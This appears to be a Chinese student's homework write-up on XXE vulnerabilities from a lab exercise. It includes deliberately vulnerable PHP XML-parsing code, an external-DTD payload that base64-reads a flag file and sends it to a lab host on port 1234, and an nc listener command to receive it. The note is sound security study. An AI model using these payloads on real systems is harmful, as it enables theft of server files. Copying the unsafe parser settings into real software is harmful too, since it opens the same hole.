班级作业笔记报告0x07

XXE漏洞

XXE基础知识

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE 文件名[

<!ENTITY 实体名 "实体内容">

]>

<元素名称 category="属性">

文本或其他元素

</元素名称>

作业1:

常规XXE漏洞

登录框抓包任意输入账号密码

username处有回显

构造XXE

没怎么学和玩过XXE漏洞,听说也是好多年前的漏洞了,看了一些文章,发现可以不用输入<?xml version="1.0" encoding="utf-8"?>,一样可以读取到flag

作业2:

Bind型XXE漏洞

这个没有靶场环境,只能在自己的机子上完成了。。。

无回显XXE漏洞

php代码

<?php

libxml_disable_entity_loader(false);

$xmlfile=file_get_contents('php://input');

$dom=new DOMDocument();

dom-\>loadXML(xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);

?>

需要引用外部.dtd文件,要想利用.dtd文件来读取内容flag文件内容需要.dtd构造如下XML

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.17.0.2:1234?p=%file;'>">

而请求包会这样构造

<!DOCTYPE convert [

<!ENTITY % remote SYSTEM "http://172.17.0.2:80/test.dtd">

%remote;%int;%send;

]>

然后需要对端口进行监听

nc -lvvp 1234

个人评价:

XXE漏洞可以造成敏感文件读取、内网探测SSRF、数据外带传输、拒绝服务,特定环境下还可以造成RCE漏洞和业务中断与信息收集

相关推荐
Flynt2 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
冬奇Lab6 天前
Skill 系列(02):Skill 安全风险——三类攻击面的实战测试
人工智能·安全·开源
LinXunFeng7 天前
Obsidian - 使用 Share Note 分享笔记并自部署
前端·笔记·github
两个人的幸福8 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
Aphasia31110 天前
VPN 与内网穿透
安全
BingoGo10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820711 天前
PHP 扩展——从入门到理解
php
Mr_愚人派11 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
鹏仔先生11 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php